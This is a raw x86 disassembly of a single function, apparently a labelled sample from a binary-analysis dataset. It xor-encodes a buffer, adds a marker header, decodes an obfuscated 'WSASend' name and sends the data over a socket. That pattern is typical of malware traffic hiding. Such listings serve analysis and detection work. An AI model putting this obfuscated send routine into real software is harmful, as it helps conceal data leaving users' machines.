Function at 0x41dc90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504405
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41dcc6
lock inc dword [eax + 4]
mov eax, dword [ebp + 8]
or ecx, 0xffffffff
mov ebx, dword [ebp + 0xc]
test eax, eax
jne 0x41dd05
xor edi, edi
test ebx, ebx
je 0x41dcfe
mov eax, ecx
lock xadd dword [ebx + 4], eax
jne 0x41dcfe
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax]
or ecx, 0xffffffff
mov eax, ecx
lock xadd dword [ebx + 8], eax
jne 0x41dcfe
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 4]
or ecx, 0xffffffff
xor eax, eax
jmp 0x41de38
xor esi, esi
cmp dword [eax + 0x10], esi
jbe 0x41de36
cmp dword [eax + 0x14], 0x10
mov ecx, eax
jb 0x41dd1a
mov ecx, dword [eax]
xor byte [ecx + esi], 0x36
mov edx, eax
mov ecx, dword [eax + 0x14]
cmp ecx, 0x10
jb 0x41dd2a
mov edx, dword [eax]
cmp byte [edx + esi], 0
mov edx, eax
jne 0x41dd42
cmp ecx, 0x10
jb 0x41dd39
mov edx, dword [eax]
mov byte [edx + esi], 0x55
jmp 0x41de29
cmp ecx, 0x10
jb 0x41dd49
mov edx, dword [eax]
cmp byte [edx + esi], 0x55
mov edx, eax
jne 0x41dd61
cmp ecx, 0x10
jb 0x41dd58
mov edx, dword [eax]
mov byte [edx + esi], 0xff
jmp 0x41de29
cmp ecx, 0x10
jb 0x41dd68
mov edx, dword [eax]
cmp byte [edx + esi], 0xff
mov edx, eax
jne 0x41dd80
cmp ecx, 0x10
jb 0x41dd77
mov edx, dword [eax]
mov byte [edx + esi], 0xfd
jmp 0x41de29
cmp ecx, 0x10
jb 0x41dd87
mov edx, dword [eax]
cmp byte [edx + esi], 0xfd
mov edx, eax
jne 0x41dd9f
cmp ecx, 0x10
jb 0x41dd96
mov edx, dword [eax]
mov byte [edx + esi], 0xde
jmp 0x41de29
cmp ecx, 0x10
jb 0x41dda6
mov edx, dword [eax]
cmp byte [edx + esi], 0xde
mov edx, eax
jne 0x41ddbb
cmp ecx, 0x10
jb 0x41ddb5
mov edx, dword [eax]
mov byte [edx + esi], 5
jmp 0x41de29
cmp ecx, 0x10
jb 0x41ddc2
mov edx, dword [eax]
cmp byte [edx + esi], 5
mov edx, eax
jne 0x41ddd7
cmp ecx, 0x10
jb 0x41ddd1
mov edx, dword [eax]
mov byte [edx + esi], 1
jmp 0x41de29
cmp ecx, 0x10
jb 0x41ddde
mov edx, dword [eax]
cmp byte [edx + esi], 1
mov edx, eax
jne 0x41ddf3
cmp ecx, 0x10
jb 0x41dded
mov edx, dword [eax]
mov byte [edx + esi], 0xa
jmp 0x41de29
cmp ecx, 0x10
jb 0x41ddfa
mov edx, dword [eax]
cmp byte [edx + esi], 0xa
mov edx, eax
jne 0x41de0f
cmp ecx, 0x10
jb 0x41de09
mov edx, dword [eax]
mov byte [edx + esi], 0x80
jmp 0x41de29
cmp ecx, 0x10
jb 0x41de16
mov edx, dword [eax]
cmp byte [edx + esi], 0x80
jne 0x41de29
mov edx, eax
cmp ecx, 0x10
jb 0x41de25
mov edx, dword [eax]
mov byte [edx + esi], 0
inc esi
cmp esi, dword [eax + 0x10]
jb 0x41dd10
or ecx, 0xffffffff
mov edi, ebx
mov esi, dword [ebp + 0xc]
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edi
test esi, esi
je 0x41de65
mov eax, ecx
lock xadd dword [esi + 4], eax
jne 0x41de65
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x41de65
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x28]
call fcn.00469a50
push 0
push 0xce43b
mov byte [ebp - 4], 1
call fcn.00407d20
mov ecx, dword [ebp + 8]
add esp, 8
mov esi, dword [ebp - 0x28]
mov ecx, dword [ecx + 0x10]
add ecx, eax
mov eax, dword [esi + 0x10]
cmp ecx, eax
ja 0x41dea5
mov eax, esi
cmp dword [eax + 0x14], 0x10
jb 0x41de9c
mov eax, dword [esi]
mov dword [esi + 0x10], ecx
mov byte [eax + ecx], 0
jmp 0x41deb1
sub ecx, eax
push 0
push ecx
mov ecx, esi
call fcn.00468330
mov eax, esi
mov edi, eax
cmp dword [edi + 0x14], 0x10
lea ebx, [edi + 0x14]
jb 0x41dec0
mov eax, dword [esi]
mov dword [eax], 0xabbadaad
cmp dword [ebx], 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], edi
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x14], eax
jb 0x41dedc
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
push 0
push 0xce443
call fcn.00407d20
mov ecx, dword [ebp - 0x10]
add esp, 8
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
mov dword [eax + ecx], edx
cmp dword [ebx], 0x10
jb 0x41df01
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
push 0
push 0xce43f
call fcn.00407d20
mov ecx, dword [ebp - 0x10]
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [eax + ecx], edx
mov eax, dword [ebp + 8]
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x41df26
mov eax, dword [eax]
cmp dword [ebx], 0x10
jb 0x41df2d
mov edi, dword [esi]
push dword [ecx + 0x10]
push eax
push 0
push 0xce43b
call fcn.00407d20
add esp, 8
add eax, edi
push eax
call fcn.004de630
add esp, 0xc
push 0
push 0xce447
call fcn.00407d20
mov edi, eax
add esp, 8
cmp edi, dword [esi + 0x10]
jae 0x41dfea
nop word [eax + eax]
mov dword [ebp - 0x10], 0
mov eax, esi
cmp dword [ebx], 0x10
jb 0x41df80
mov eax, dword [esi]
add eax, edi
mov dword [ebp - 0x31], 0xbfaab9be
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x10]
sub eax, edi
mov dword [ebp - 0x2d], 0x8b8088
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x29], 1
lea ecx, [eax - 0x17]
xor byte [ebp + eax - 0x31], cl
inc eax
cmp eax, 7
jb 0x41dfa1
push str.Ws2_32.dll
mov byte [ebp - 0x29], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x31]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
push 1
lea ecx, [ebp - 0x1c]
push ecx
push dword [ebp - 0x20]
call eax
cmp eax, 0xffffffff
je 0x41e04d
add edi, dword [ebp - 0x10]
cmp edi, dword [esi + 0x10]
jb 0x41df70
mov bl, 1
mov esi, dword [ebp - 0x24]
or edi, 0xffffffff
test esi, esi
je 0x41e015
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41e015
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x41e015
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x41e03a
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x41e03a
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x41e03a
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
xor bl, bl
jmp 0x41dfec